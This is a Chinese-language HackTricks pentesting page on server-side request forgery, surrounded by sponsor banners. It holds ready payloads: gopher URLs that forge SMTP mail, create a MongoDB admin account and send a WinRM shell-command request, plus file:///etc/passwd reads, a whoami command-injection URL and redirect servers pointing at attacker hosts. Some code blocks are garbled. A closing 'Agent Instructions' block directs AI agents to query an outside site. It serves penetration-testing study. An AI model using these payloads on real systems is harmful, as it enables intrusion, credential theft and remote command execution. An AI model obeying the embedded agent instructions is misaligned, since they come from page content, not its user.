# SSRF (Server Side Request Forgery)

<figure><img src="/files/PcmnOBrpXxCjYC5y3bif" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 来轻松构建和**自动化工作流**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

**服务器端请求伪造（SSRF）漏洞发生在攻击者操纵服务器端应用程序**以向其选择的域发出**HTTP请求**时。此漏洞使服务器暴露于攻击者指定的任意外部请求之中。

## 捕获SSRF

您需要做的第一件事是捕获您生成的SSRF交互。您可以使用工具来捕获HTTP或DNS交互，例如：

* **Burp Collaborator**
* [**pingb**](http://pingb.in)
* [**canarytokens**](https://canarytokens.org/generate)
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
* [**http://webhook.site**](http://webhook.site)
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
* <http://requestrepo.com/>
* <https://github.com/stolenusername/cowitness>
* <https://github.com/dwisiswant0/ngocok> - 使用ngrok的Burp Collaborator

## 绕过白名单域

通常您会发现SSRF仅在**特定的白名单域**或URL中起作用。在以下页面中，您可以找到**绕过白名单**的技术汇编：

{% content-ref url="/pages/fPnVC5eoDyJcPSVXXoRf" %}
[URL Format Bypass](/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}

### 通过开放重定向绕过

如果服务器受到正确保护，您可以通过利用网页内的开放重定向来**绕过所有限制**。因为网页将允许**对同一域的SSRF**，并且可能会**跟随重定向**，您可以利用**开放重定向**使服务器访问任何内部资源。\
阅读更多信息：<https://portswigger.net/web-security/ssrf>

## 协议

* **file://**
* URL方案`file://`指向`/etc/passwd`：`file:///etc/passwd`
* **dict://**
* DICT URL方案用于通过DICT协议访问定义或单词列表。给出的示例说明了一个构建的URL，针对特定单词、数据库和条目编号，以及一个PHP脚本可能被滥用以使用攻击者提供的凭据连接到DICT服务器：`dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* 作为安全文件传输的协议，提供了一个示例，展示了如何利用PHP脚本连接到恶意SFTP服务器：`url=sftp://generic.com:11111/`
* **TFTP://**
* 提到了通过UDP运行的Trivial File Transfer Protocol，提供了一个设计用于向TFTP服务器发送请求的PHP脚本示例。向'generic.com'的端口'12346'发送TFTP请求以获取文件'TESTUDPPACKET'：`ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* 介绍了轻量级目录访问协议，强调其用于管理和访问分布式目录信息服务的IP网络。通过ssrf.php?url=ldap\://localhost:11211/%0astats%0aquit与本地主机上的LDAP服务器进行交互。
* **SMTP**
* 描述了利用SSRF漏洞与本地主机上的SMTP服务进行交互的方法，包括揭示内部域名并基于该信息采取进一步的调查行动的步骤。

```
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
```

* **Curl URL globbing - WAF bypass**
* 如果 SSRF 是由 **curl** 执行的，curl 有一个称为 [**URL globbing**](https://everything.curl.dev/cmdline/globbing) 的功能，可以用来绕过 WAF。例如，在这个 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) 中，你可以找到一个关于通过 `file` 协议进行 **路径遍历** 的示例：

```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```

* **Gopher://**
* 讨论了Gopher协议指定IP、端口和字节进行服务器通信的能力，以及使用Gopherus和remote-method-guesser等工具来构建有效负载。展示了两种不同的用途：

### Gopher://

使用这个协议，您可以指定您希望服务器**发送**的**IP、端口和字节**。然后，您基本上可以利用SSRF与任何TCP服务器**通信**（但您需要先了解如何与该服务进行通信）。\
幸运的是，您可以使用[Gopherus](https://github.com/tarunkant/Gopherus)为多个服务创建有效负载。此外，[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)可用于为Java RMI服务创建\_gopher\_有效负载。

**Gopher smtp**

```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```

**Gopher HTTP**

**Gopher HTTP**

```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```

**Gopher SMTP — 反向连接到1337**

{% code title="redirect.php" %}

```php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```

{% endcode %}

#### Gopher MongoDB -- 使用用户名为admin、密码为admin123且权限为管理员创建用户

```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
```

## 通过Referrer头部和其他方式进行SSRF攻击

服务器上的分析软件通常记录Referrer头部以跟踪传入链接，这种做法无意中使应用程序暴露于服务器端请求伪造（SSRF）漏洞。这是因为这类软件可能访问Referrer头部中提到的外部URL来分析引荐站点内容。为了发现这些漏洞，建议使用Burp Suite插件“**Collaborator Everywhere**”，利用分析工具处理Referer头部的方式来识别潜在的SSRF攻击面。

## 通过证书中的SNI数据进行SSRF攻击

通过一个示例Nginx配置展示了一种可能使连接到任何后端变得简单的错误配置：

```
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
```

在这个配置中，直接使用来自服务器名称指示（SNI）字段的值作为后端地址。这种设置暴露了服务器端请求伪造（SSRF）的漏洞，可以通过在SNI字段中简单指定所需的IP地址或域名来利用。下面是一个利用示例，使用`openssl`命令强制连接到任意后端，比如`internal.host.com`：

```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```

## [Wget 文件上传](/pentesting-web/file-upload.md#wget-file-upload-ssrf-trick)

## SSRF与命令注入

值得尝试的有效负载可能是：`` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``

## PDFs 渲染

如果网页自动创建了包含您提供信息的 PDF，您可以**插入一些将由 PDF 创建者（服务器）执行的 JS**，同时创建 PDF 时，您将能够滥用 SSRF。[**在此处查找更多信息**](/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**

## 从 SSRF 到 DoS

创建多个会话并尝试从会话中利用 SSRF 下载大文件。

## SSRF PHP 函数

{% content-ref url="/pages/7N2yP0ySHDDT0yrEwBnr" %}
[PHP SSRF](/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}

## SSRF 重定向到 Gopher

对于某些利用，您可能需要**发送重定向响应**（可能使用不同的协议，如 gopher）。这里有不同的 Python 代码来响应重定向：

````python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```plaintext
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
````

```python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```

<figure><img src="/files/PcmnOBrpXxCjYC5y3bif" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可轻松构建并通过全球**最先进**的社区工具**自动化工作流程**。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 配置错误的代理到 SSRF

来自[**此文章**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)的技巧。

### Flask

<details>

<summary>Flask 代理易受攻击的代码</summary>

\`\`\`python from flask import Flask from requests import get

app = Flask('**main**') SITE\_NAME = '<https://google.com>'

@app.route('/', defaults={'path': ''}) @app.route('/<path:path>')

def proxy(path): return get(f'{SITE\_NAME}{path}').content

if **name** == "**main**": app.run(threaded=False)

````
</details>

Flask允许使用**`@`**作为初始字符，这允许将**初始主机名作为用户名**并注入一个新的。攻击请求：
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
````

**Spring Boot**

**易受攻击的代码：**

<img src="/files/btCqx1EeNBz4sIBtEzz2" alt="" data-size="original">

发现可以通过在请求路径的开头使用字符 **`;`**，然后使用 **`@`** 注入新主机以访问。攻击请求：

```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```

**PHP内置Web服务器**

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/ssrf-server-side-request-forgery.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
